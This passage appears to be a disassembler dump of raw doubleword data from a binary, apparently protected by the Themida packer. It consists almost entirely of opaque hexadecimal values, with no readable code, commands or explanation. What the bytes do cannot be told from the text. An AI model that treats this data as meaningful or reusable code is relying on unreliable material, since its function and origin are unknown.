		dd 57h,	38A0Fh,	0B70F0000h, 0BF5096F8h,	278E58D4h, 56006A96h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1A04h, 0C3564600h
		dd 0F53BC80Ah, 0E9548529h, 13h,	21CA87DCh, 93693310h, 0FB1F3BBAh
		dd 6B09BE18h, 0F9E3AAAh, 687h, 0B98D8900h, 0FF06442Eh
		dd 47B760B5h, 0FFDE8A06h, 442E7D95h, 56006A06h,	3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1404h,	0C3564600h, 8D8B601Eh
		dd 644229Dh, 0B5FF61F9h, 647B760h, 0AE9h, 48B61400h, 31CC96C4h
		dd 0FFFCB219h, 44144195h, 11E906h, 80300000h, 771E5025h
		dd 60DEAC32h, 584BE357h, 83A7D649h, 440A85BDh, 840F0206h
		dd 9Ah,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch
		dd 17C35646h, 51973F73h, 89E31D86h, 8B68D380h, 44159185h
		dd 11E906h, 7DEB0000h, 0E95DD5DBh, 0CA9DD427h, 800C9A2Fh
		dd 0C67D21E1h, 6A0000h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 160424h, 50400000h, 425039C3h, 17820Fh, 12E90000h, 0A8000000h
		dd 0F4BA0268h, 267E44EAh, 327264DAh, 0FA4F9659h, 14E917h
		dd 2A7B0000h, 76C428DBh, 433B4E11h, 0AD6E2CDh, 0FAE0A264h
		dd 85C7A6A2h, 6441759h,	0
		dd 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h, 15h, 23C35040h
		dd 0E9C1B7BEh, 0FFFFF362h, 1C0DBD8Bh, 0C18B0644h, 14E9h
		dd 0E9716400h, 0B5892E23h, 0ACE0A447h, 3D0B7A4h, 0E1A2D7BBh
		dd 0E1858D33h, 6A06441Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 17042444h, 46000000h, 5CD3C356h, 9D335288h
		dd 6442D85h, 6650DE8Ah,	489DA8Bh, 0A5D78124h, 0F5A06F6h
		dd 689h, 3D9D3100h, 6A064414h, 51006A00h, 3E8h,	0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 0A20EFF0Eh
		dd 66757FF2h, 6A40B6BFh, 0D8B70F00h, 5699858Dh,	81510648h
		dd 805C60C7h, 0C0835B26h, 51006A05h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 0AE81812h
		dd 0CE000000h, 0EA90F9F6h, 37C9C848h, 9D8B510Eh, 6442581h
		dd 60505F5Fh, 12E9h, 72DB4400h,	0C2B983AFh, 0EFA82AD6h
		dd 0F8876A9Eh, 8AC82303h, 48961D9h, 51006A24h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1704h,	0C3514100h, 4EF2E51h, 2F4963BBh
		dd 1ED78049h, 6A006Ah, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 150424h, 53430000h, 8BD4F6C3h, 442D799Dh, 6A006A06h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 8056C350h, 95FF17D3h, 6441825h, 0BE9h, 28FD5C00h
		dd 0BD6682A6h, 43D987C1h, 9899D8Bh, 8D8D0644h, 6479A97h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 0C2C35141h
		dd 85EC3681h, 0BD8B1479h, 6442A55h, 0BD83D1FFh,	6442F11h
		dd 4C850F01h, 6A000000h, 57006A02h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1404h, 0C3574700h, 0BDF5BB1Dh, 505017C9h
		dd 890F6052h, 0
		dd 61FB8B66h, 31BF310Fh, 5A044C4Fh, 24048958h, 24398589h
		dd 95FF0644h, 644296Dh,	0E9DEBF0Fh, 0D54h, 0E8h, 0ED815D00h
		dd 64856A3h, 2E2DB589h,	6A0644h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 160424h, 52420000h, 3774B6C3h, 0FF73BF66h
		dd 8B58858Dh, 6A0647h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 7BEB82C3h, 0C0CD8996h, 508E71C3h
		dd 3A1EB6BFh, 2404895Eh, 0E857006Ah, 3,	5FC35F20h, 4247C89h
		dd 4244481h, 1Dh, 23C35747h, 0E2DE5E80h, 3F484709h, 35FF64D2h
		dd 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ch, 0F2C35747h
		dd 0B52A75BDh, 5A6E3A9Ah, 258964h, 89000000h, 44255985h
		dd 3D958906h, 0FF064402h, 4408E985h, 49B50106h,	6A064428h
		dd 55006AFFh, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 0F781269Fh, 1D1B5855h, 218DB5FFh, 8B660644h
		dd 8195FFFAh, 0E9064422h, 10Bh,	30499D8Bh, 0B00644h, 11E8h
		dd 9F912700h, 0F14C48CEh, 0CCE47AD3h, 6AFE421Fh, 0BD8BA467h
		dd 6442EF5h, 0F70E65Bh,	8951F8B7h, 44166DBDh, 71E45B06h
		dd 2D9DBD8Bh, 613C0644h, 0C9830Fh, 89600000h, 440E1DBDh
		dd 0BC38BA06h, 0F6107BEh, 9D8BC8B6h, 6441BFDh, 6BAh, 8BC18B00h
		dd 442FCD9Dh, 4E8C106h,	66F8B70Fh, 0F381E2F7h, 1C1C8DF9h
		dd 0BD89C82Bh, 6441061h, 5E8D18Bh, 92000000h, 38FFA8DAh
		dd 1AE95FFCh, 0F000000h, 148Dh,	0FE900h, 500C0000h, 62DFA61Fh
		dd 99169F1h, 499ADA14h,	85858B00h, 8906440Dh, 442501BDh
		dd 7C08306h, 83FFB70Fh,	0D03B00C0h, 0B830Fh, 0B5890000h
		dd 644034Dh, 3AE9h, 258D8B00h, 3106441Fh, 441AB19Dh, 1E18306h
		dd 25840Fh, 0F9600000h,	3B5B58Bh, 83610644h, 441F25A5h
		dd 0BB66FE06h, 95896010h, 6440D85h, 13E1B589h, 0E90644h
		dd 8D000000h, 47E85FB5h, 71BD8B06h, 6A064422h, 52006A00h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1904h, 0C3524200h
		dd 0FC9C2E2Ch, 95FF5CA1h, 6441C4Dh, 2B9D9D8Bh, 89B90644h
		dd 8B00000Ah, 44039DBDh, 0FCE18306h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Ch, 42C35343h, 289700DBh, 3453160h
		dd 22BB66FCh, 0B872h, 11E90000h, 11000000h, 0CBC83AA4h
		dd 0D2562B9Ch, 0FC5F3EB7h, 6B0B5B9Ah, 0BAh, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 9339E5D9h, 13D9374Ah, 0C233ADFCh, 0D003E8D1h, 7504E983h
		dd 57006AF4h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1D04h
		dd 0C3574700h, 8AE67B9Bh, 0B99C4123h, 0BD012535h, 64429C5h
		dd 27646ABBh, 880D58h, 6A0000h,	3E853h,	5B200000h, 5C895BC3h
		dd 44810424h, 170424h, 53430000h, 0BE8BA1C3h, 0B5BD8B1Ah
		dd 2906442Eh, 440C51BDh, 5D958B06h, 0F06442Fh, 682h, 73DB8100h
		dd 8B56A6CCh, 4406798Dh, 0DE906h, 156C0000h, 315B180Eh
		dd 0F4A49B4Eh, 50F058ACh, 188BC28Bh, 188BC103h,	0E8D1C18Bh
		dd 188BC203h, 55006A58h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1604h, 0C3554500h, 0E8AFB719h, 0Bh, 3F3B1A05h, 8AF35E6Fh
		dd 892E070Eh, 44263D8Dh, 9D8B5B06h, 644207Dh, 2CADBD83h
		dd 0F000644h, 4884h, 0FABF0F00h, 3EF78166h, 0B8E9h, 0B5890000h
		dd 6442EDDh, 4E558D8Dh,	6A0644h, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 190424h, 53430000h, 2AB5BAC3h, 89B1B175h
		dd 442D158Dh, 81E1FF06h, 4E2982DBh, 71BD830Bh, 64410h
		dd 463840Fh, 9D890000h,	6442471h, 1071BD83h, 0F010644h
		dd 46B84h, 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h
		dd 1B04h, 0C3534300h, 922FB26Ah, 7240B8EFh, 0DE8h, 0D1F01000h
		dd 2004BDBBh, 85835B12h, 0AE8DD16h, 8B000000h, 0F0065832h
		dd 7207F37h, 0D5BD8B80h, 5F064429h, 71BD835Fh, 3064410h
		dd 3DC860Fh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1B0424h, 50400000h, 0AEFBC5C3h, 646E9C20h, 68E0F86h
		dd 8B000000h, 4417F5BDh, 6A6006h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 180424h, 57470000h, 6B4CDAC3h, 0BD8B9E8Fh
		dd 6441C5Dh, 0E9D98C66h, 13h, 0F06E7069h, 0EF96B96Fh, 0FA118AFCh
		dd 8D6D5379h, 80F9ACC3h, 0B58904E1h, 644211Dh, 840FC90Ah
		dd 17Dh, 0E852006Ah, 3,	5AC35A20h, 4245489h, 4244481h
		dd 16h,	2DC35242h, 8E0FC569h, 6, 15799D31h, 858B0644h
		dd 6440AD5h, 0E850006Ah, 3, 58C35820h, 4244489h, 4244481h
		dd 1Dh,	0F8C35040h, 36A7C4B7h, 606440BAh, 33DE8B5Dh, 4403BD85h
		dd 3BB5006h, 8955591Bh,	6A2404h, 3E852h, 5A200000h, 54895AC3h
		dd 44810424h, 150424h, 52420000h, 0F1326C3h, 18Ch, 6AF800h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Ch, 0B5C35646h
		dd 2D3A7344h, 6D64EBF5h, 11E9h,	0E3F1FC00h, 9BFE55FDh
		dd 93B41A74h, 796C5C57h, 4E8FF4Dh, 0FF000000h, 60001F03h
		dd 50615953h, 424448Bh,	8E8h, 15B11100h, 9B94871h, 8B5F8Ch
		dd 0BB665250h, 310F61DDh, 5AFE8B66h, 24448958h,	7E804h
		dd 52830000h, 0D81CABB4h, 61606073h, 996DBB66h,	6A585F61h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1B042444h
		dd 41000000h, 26CDC351h, 146E4CEFh, 0BD8B9081h,	644159Dh
		dd 95FF1CB3h, 6440081h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 0B2C35646h, 17E18589h, 8B660644h, 608589FBh
		dd 8B0647B7h, 442EC5BDh, 16EE906h, 8D890000h, 64408B5h
		dd 58858BF5h, 890647B7h, 442425BDh, 1800C706h, 8B000000h
		dd 47B75CB5h, 51006A06h, 3E8h, 0C3592000h, 244C8959h, 24448104h
		dd 1504h, 0C3514100h, 0F781626Ah, 4631700Eh, 300D858Bh
		dd 6A0644h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1A0424h
		dd 51410000h, 0F7CBD1C3h, 9DBB7126h, 6A0689FCh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 1C042444h, 45000000h
		dd 1867C355h, 24D2258Ah, 0FB3D712h, 0BD8BF9BFh,	6440A65h
		dd 0AD5858Bh, 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 190424h, 57470000h, 6315DBC3h, 0E95CCCD3h, 7, 1CFFAC69h
		dd 314A0BECh, 4408858Dh, 4468906h, 24599501h, 0F960644h
		dd 285h, 50AAB300h, 2B96DF8Bh, 440F91BDh, 58B5FF06h, 0F0647B7h
		dd 8E68F8BFh, 8142FF76h, 75712434h, 6A42E0h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 190424h, 56460000h, 0C6576DC3h
		dd 0E97DC1D3h, 0Eh, 2813ADEEh, 622717ECh, 0A6F8B429h, 0E780B952h
		dd 60858DFDh, 890647B7h, 442105B5h, 8B669006h, 0E99050FAh
		dd 8, 4B4339B5h, 7AE807F8h, 8195FFh, 89600644h,	442C9D85h
		dd 0BDB52906h, 61064430h, 57006A61h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1804h,	0C3574700h, 2A080DB3h
		dd 518D89EAh, 0C7064431h, 44107185h, 306h, 60BD8300h, 647B7h
		dd 38840Fh, 0CF800000h,	4BE925h, 6A0000h, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 1C0424h, 55450000h, 3A2CEFC3h
		dd 9425FC00h, 0BD894220h, 6441675h, 1D4DBD8Bh, 30500644h
		dd 4400110Ch, 0E8C10111h, 11443010h, 114C0002h,	0E9835803h
		dd 0EBE77504h, 4305036h, 11640011h, 10E8C101h, 2114430h
		dd 3116400h, 4E98358h, 1BEBE775h
		dd 10E8C150h, 3116428h,	2114430h, 11642858h, 11043001h
		dd 7504E983h, 8B00EBE7h, 71BD83C0h, 3064410h, 482850Fh
		dd 0BD290000h, 6440285h, 0B760BD83h, 0F000647h,	46F84h
		dd 7E800h, 0A2AB0000h, 32F3066Dh, 8E9F0h, 56310000h, 564737C8h
		dd 0FF5FA816h, 47B760B5h, 53006A06h, 3E8h, 0C35B2000h
		dd 245C895Bh, 24448104h, 1704h,	0C3534300h, 1AAA4B25h
		dd 69995FFh, 0BB660644h, 0B58B0BEFh, 647B754h, 1489BD29h
		dd 6C70644h, 10001h, 2DDBD8Bh, 0B3500644h, 243489CBh, 0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 17h, 4DC35141h, 0E921D587h
		dd 0Bh,	857D45B3h, 0FCAE5FA0h, 80F70ADBh, 0B5FF5CF7h, 647B760h
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Bh, 74C35747h
		dd 8875EB84h, 66361775h, 0C6BFF88Bh, 0FF2F6C32h, 441E0195h
		dd 52006A06h, 3E8h, 0C35A2000h,	2454895Ah, 24448104h, 1D04h
		dd 0C3524200h, 8A7A110Ah, 3A6CC78Fh, 0B58BE440h, 647B754h
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 19h, 0BAC35141h
		dd 0FFE48BD7h, 71858B04h, 6A06442Eh, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 15042444h, 43000000h, 37A0C353h
		dd 6898529h, 86890644h,	0C4h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 19h, 98C35040h, 8B9F74DEh, 5D9589ACh
		dd 66064432h, 958BD88Bh, 6442F5Dh, 29999D8Bh, 0C2830644h
		dd 51006A04h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1D04h
		dd 0C3514100h, 4F5CA8F1h, 0A2D59E60h, 9D8B1DE7h, 64403ADh
		dd 1B158589h, 50890644h, 53006A20h, 3E8h, 0C35B2000h, 245C895Bh
		dd 24448104h, 1C04h, 0C3534300h, 19AB1FEBh, 0D16E5324h
		dd 0FBBF0F29h, 0CAA0858Dh, 6A0647h, 3E856h, 5E200000h
		dd 74895EC3h, 44810424h, 1C0424h, 56460000h, 0C1558EC3h
		dd 80EBB1EFh, 0F5608956h, 2A39BD8Bh, 89610644h,	0B886h
		dd 5E95300h, 4F000000h,	7265EB54h, 7D8D895Fh, 6A064418h
		dd 0FD9D0100h, 0FF064403h, 47B760B5h, 13E906h, 0D73D0000h
		dd 7A338BE4h, 13990E44h, 61F6A694h, 0D337F4EDh,	6D95FF60h
		dd 29064429h, 442F49B5h, 0BF665006h, 348935A3h,	38C0F24h
		dd 0F000000h, 0B5FFFFB7h, 647B760h, 0E856006Ah,	3, 5EC35E20h
		dd 4247489h, 4244481h, 16h, 0C3C35646h,	0BE85685h, 33000000h
		dd 373C84E7h, 0E1EFB1ABh, 0BD2BD3B6h, 64418D5h,	0D995FF5Bh
		dd 0F064417h, 689h, 0CD858900h,	60064433h, 958BE38Ah, 6440AD9h
		dd 0B5BD8361h, 64414h, 2C840Fh,	0BD2B0000h, 6443011h, 28B35096h
		dd 55006A96h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1904h
		dd 0C3554500h, 0BB016363h, 0B5FF200Dh, 647B760h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 14h, 8BC35040h, 2E7D95FFh
		dd 6A0644h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1A0424h
		dd 57470000h, 0D11EA2C3h, 0E6C2A9F9h, 0B760B5FFh, 6A0647h
dword_582968	dd 3E850h, 58200000h, 448958C3h, 44810424h, 180424h, 50400000h
					; DATA XREF: Themida_:0054B180o
		dd 0F3BFD1C3h, 0DE9EB15h, 7A000000h, 0DDA1DF3Bh, 99D892AEh
		dd 7F51EE75h, 0AE9h, 0DDE31100h, 0A9AFD8A8h, 0FFB9DCE8h
		dd 44144195h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1704h, 0C3554500h, 0EF74EEAEh, 8E9h,	0C031F500h, 93AB4947h
		dd 85BD83FCh, 206440Ah,	92840Fh, 6A0000h, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0CE853C3h
		dd 0C7000000h, 0ADE4A1F4h, 7C6623A1h, 89640560h, 440BDDB5h
		dd 858B5B06h, 6441591h,	0E857006Ah, 3, 5FC35F20h, 4247C89h
		dd 4244481h, 1Ch, 1BC35747h, 0F7247DCAh, 0C3134EB9h, 2DF1BD0Bh
		dd 0C60644h, 56006A00h,	3E8h, 0C35E2000h, 2474895Eh, 24448104h
		dd 1D04h, 0C3564600h, 0A96A20ECh, 5DB4D9Dh, 85893A0Dh
		dd 64432E1h, 175985C7h,	644h, 0D7810000h, 634CCB36h, 0FFF392E9h
		dd 8E9FFh, 0F000000h, 9DC425ACh, 0C18B7DFAh, 1BE1858Dh
		dd 6A0644h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 170424h
		dd 51410000h, 41107FC3h, 8B6690D3h, 18BB50D8h, 90135034h
		dd 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h, 14h, 53C35242h
		dd 6AF88Bh, 16319D8Bh, 6A0644h,	99E78166h, 6D858DB3h, 6A064866h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0AF3EC350h, 0D25539FFh, 703542F4h, 2AC38156h
		dd 5B19F55Dh, 2A759D23h, 95890644h, 6441C11h, 6A05C083h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 14042444h
		dd 40000000h, 89E4C350h, 4410D5B5h, 0FB8B5006h,	6A240489h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 0B0A0C355h, 0F705426h, 381h, 4FD78000h, 0EE9h
		dd 67455D00h, 0CECA1209h, 62F268Dh, 6AF6FBADh, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1704h, 0C3564600h
		dd 4EE63791h, 6A006Ah, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 190424h, 50400000h, 0FBD90FC3h, 89135B02h, 441489B5h
		dd 2595FF06h, 6A064418h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 16042444h, 40000000h, 6365C350h, 0D78166A3h
		dd 8D8D7636h, 6479A97h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 60C35343h, 0AA1ACAA6h, 0BB05BF13h, 66219185h
		dd 6AD1FFh, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1D0424h
		dd 55450000h, 72A618C3h, 55662A8Ch, 83E6DD69h, 442F11BDh
		dd 850F0106h, 0A3h, 0E855006Ah,	3, 5DC35D20h, 4246C89h
		dd 4244481h, 1Ah, 5DC35545h, 0B1E6402Ch, 0AE8E65Ch, 2000000h
		dd 0E534415h, 0B172FDAEh, 11BD8B30h, 5B064430h,	72D9D01h
		dd 26A0644h, 0E852006Ah, 3, 5AC35A20h, 4245489h, 4244481h
		dd 17h,	0EEC35242h, 31755FCDh, 440E1DBDh, 0BE99006h, 0B6000000h
		dd 4181C7AAh, 8BB95A52h, 8B50D5B6h, 6A90FBh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 8D0C9DC3h
		dd 95FF2F8Ch, 644296Dh,	0E9D9B70Fh, 0DDEh, 0E8h, 0ED815D00h
		dd 6486677h, 6E9h, 9673E000h, 6A762331h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 19042444h, 45000000h, 0B641C355h
		dd 934CE2F3h, 858DFB8Bh, 6478B58h, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Ch, 0DDC35646h,	0EE305AB3h, 149E1166h
		dd 0BF665090h, 8990D3A7h, 440F7185h, 899D8B06h,	6406440Ah
		dd 35FFh, 12E90000h, 0F000000h,	45FF2B53h, 111BFFC1h, 72683879h
		dd 8D583F0Eh, 64D98B80h, 2589h,	9D8B0000h, 6440269h, 8E985FFh
		dd 6A0644h, 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1C0424h
		dd 55450000h, 1942B0C3h, 0EC8CDCEDh, 0FF6AB29Bh, 0FF53DF80h
		dd 440C0DB5h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh, 24448104h
		dd 1D04h, 0C3574700h, 0D23F4847h, 23C2D4A6h, 95FF8A79h
		dd 6442281h, 0E6E9h, 19B53100h,	0B006441Eh, 513DBB00h
		dd 0BD8B36EDh, 644000Dh, 0BF6670E6h, 8B50F452h,	441A6D9Dh
		dd 71E45F06h, 3CF9BF0Fh, 0B8830F61h, 23000000h,	442C019Dh
		dd 0C8B60F06h, 2BD9D33h, 6BA0644h, 8B000000h, 440399BDh
		dd 0FCC18B06h, 6004E8C1h, 10BD9D31h, 66610644h,	48BBE2F7h
		dd 2B6DD442h, 0B58951C8h, 644106Dh, 459D895Bh, 8B06440Dh
		dd 0B9B529D1h, 0E906440Fh, 6, 4199D09h,	858B0644h, 6441DB9h
		dd 83DE8B66h, 0B58907C0h, 6442F7Dh, 8900C083h, 441A6DB5h
		dd 0FD03B06h, 0F83h, 3EBB6600h,	39E926h, 9D230000h, 6440DFDh
		dd 17818D8Bh, 0D88B0644h, 0F01E183h, 2284h, 0DF8B6600h
		dd 1781A583h, 89FE0644h, 442D71BDh, 0B9958906h,	0FC06441Dh
		dd 15719D8Bh, 0E90644h,	8D000000h, 47F4F3B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 73A7B781h, 0B589AFCFh, 64419A1h, 31419D8Bh, 6A0644h
		dd 20659589h, 95FF0644h, 6441C4Dh, 2DBD9D01h, 890F0644h
		dd 0Ah,	4890Fh,	0BB660000h, 0C2B9A038h,	1000008h, 44100DB5h
		dd 0E183FC06h, 51006AFCh, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1904h, 0C3514100h, 4EAFC768h, 0BF66E069h
		dd 8BFC3EE6h, 441561BDh, 6AC02B06h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 1A042444h, 43000000h, 0EF7FC353h
		dd 84F0BD4Fh, 67BB6667h, 6AD22B31h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 19042444h, 40000000h, 62AFC350h
		dd 45B2B821h, 3450BF66h, 1919B529h, 33AD0644h, 3E8D1C2h
		dd 4E983D0h, 8E0FF475h,	0
		dd 0AE8h, 89333000h, 8B5C4480h,	0F86F72Bh, 68Bh, 810F00h
		dd 5B000000h, 0E850006Ah, 3, 58C35820h,	4244489h, 4244481h
		dd 19h,	17C35040h, 4C5F0ED2h, 6282BBFEh, 880D0135h, 8B000000h
		dd 442F5D95h, 53006A06h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1804h, 0C3534300h, 0C3B78D99h, 798D8BDEh, 6A064406h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 1A042444h
		dd 41000000h, 7440C351h, 0C318E629h, 0AE9C9h, 77D50000h
		dd 0A6252633h, 4C5968A5h, 8BC28B50h, 8BC10318h,	0D1C18B18h
		dd 8BC203E8h, 0DE85818h, 0C1000000h, 576DCDE4h,	7DC1D3C6h
		dd 6FD55D29h, 235FD98Ah, 4415599Dh, 0ADBD8306h,	6442Ch
		dd 0BE840Fh, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1C0424h, 56460000h, 730406C3h, 0A21847Ah, 0BD299175h
		dd 6441EB5h, 0B5A7BB66h, 0B8h, 11E900h,	0F1B20000h, 30AE4B59h
		dd 99A681D2h, 2A10C2FBh, 8D91C282h, 444E558Dh, 57006A06h
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1D04h, 0C3574700h
		dd 8B887B35h, 0B6081977h, 7E861A4h, 0AB000000h,	8BED8EF2h
		dd 11E9D7DAh, 8000000h,	335417B3h, 88F76D6Dh, 0E7A81267h
		dd 0B55B0C23h, 6AE1FF5Bh, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 19042444h, 43000000h, 21DFC353h, 0B84EFC13h
		dd 8E3ABB66h, 1071BD83h, 0F000644h, 44284h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1B04h, 0C3554500h
		dd 4ED9587Bh, 0C91D2473h, 0DD5B589h, 0BD830644h, 6441071h
		dd 27840F01h, 0FC000004h, 1071BD83h, 0F030644h,	3E386h
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1A04h
		dd 0C3554500h, 35BD32EEh, 0E8ADCFC1h, 10h, 0FA2B5098h
		dd 8BD495FBh, 0C2F452C3h, 67242D03h, 6A605Bh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 180424h, 53430000h, 0CE8630C3h
		dd 9589E091h, 64429A5h,	6AD98C66h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 1B042444h, 40000000h, 838CC350h
		dd 1BA6E3C4h, 8531696Eh, 6441A21h, 8870Fh, 89570000h, 4406F5BDh
		dd 0E1805F06h, 51006A04h, 3E8h,	0C3592000h, 244C8959h
		dd 24448104h, 1404h, 0C3514100h, 38F0F1Fh, 0F000000h, 9D8BDBBFh
		dd 6440289h, 840FC90Ah,	0E9h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 16h, 98C35343h, 0D98B6151h, 0AD5858Bh
		dd 0AE90644h, 0C6000000h, 0DA213421h, 43D7A225h, 0BD8533C9h
		dd 50064403h, 0CEE6BB66h, 0F60505Bh, 8Ch, 2830F00h, 51000000h
		dd 489615Ah, 50006A24h,	3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1B04h, 0C3504000h, 348B0721h, 0F66AD793h, 6ADBB70Fh
		dd 55006A00h, 3E8h, 0C35D2000h,	246C895Dh, 24448104h, 1504h
		dd 0C3554500h, 3068C30Ah, 663209F9h, 3481FB8Bh,	16FACF24h
		dd 0CF816632h, 95FFD7CCh, 6440081h, 0E519CB81h,	85896809h
		dd 647B760h, 1EE59509h,	0CEE90644h, 0BF000001h,	161E4539h
		dd 14E9h, 478A2200h, 0AD0CBDF3h, 9D069F59h, 0FF97BD34h
		dd 4EE29511h, 58858B86h, 6A0647B7h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 1D042444h, 45000000h, 0D1BC355h
		dd 0A84D1880h, 959CFDA8h, 1800C7h, 6A0000h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1C0424h, 53430000h, 41BCD5C3h
		dd 0E76F3EC7h, 0F512300h, 8B5BDAB7h, 4416CD9Dh,	9BD8B06h
		dd 8B064407h, 47B75CB5h, 56006A06h, 3E8h, 0C35E2000h, 2474895Eh
		dd 24448104h, 1C04h, 0C3564600h, 32A5360h, 3DD78C95h, 55BD8BF6h
		dd 8B06441Ah, 44300D85h, 0AE6CBB06h, 8E0F01BDh,	0Ch, 68A0Fh
		dd 0B5310000h, 64425C5h, 24BF0689h, 8B2BD1B6h, 442BD9BDh
		dd 0D5858B06h, 0B306440Ah, 44689FDh, 50D88B66h,	7E860h
		dd 58340000h, 4C029268h, 2AB35E33h, 24348961h, 0E856006Ah
		dd 3, 5EC35E20h, 4247489h, 4244481h, 14h, 96C35646h, 824EEF81h
		dd 0FB8B66D1h, 0B758B5FFh, 9D890647h, 64430F1h,	982B3168h
		dd 81FA8B00h, 28CE2434h, 6A0087h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 140424h, 55450000h, 81669CC3h, 0E9D77EE3h
		dd 6, 0EE6A7FA1h, 858DF9B8h, 647B760h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 14h, 28C35343h, 3513B5BFh, 99BD8965h
		dd 50064430h, 489C2B3h,	52006A24h, 3E8h, 0C35A2000h, 2454895Ah
		dd 24448104h, 1A04h, 0C3524200h, 0A061D3E6h, 8B5C901Bh
		dd 8195FFDFh, 8B064400h, 4430419Dh, 6A6106h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 180424h, 51410000h, 7435AEC3h
		dd 810F648Ch, 3, 0C7FE8B66h, 44107185h,	306h, 10BB6600h
		dd 0C9BD092Ah, 8306441Dh, 47B760BDh, 840F0006h,	30h, 0E98DCF80h
		dd 43h,	0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 1Dh
		dd 0AEC35646h, 5245466Eh, 91323AD6h, 0FABF0F7Ch, 110C3050h
		dd 1114400h, 3010E8C1h,	21144h,	5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
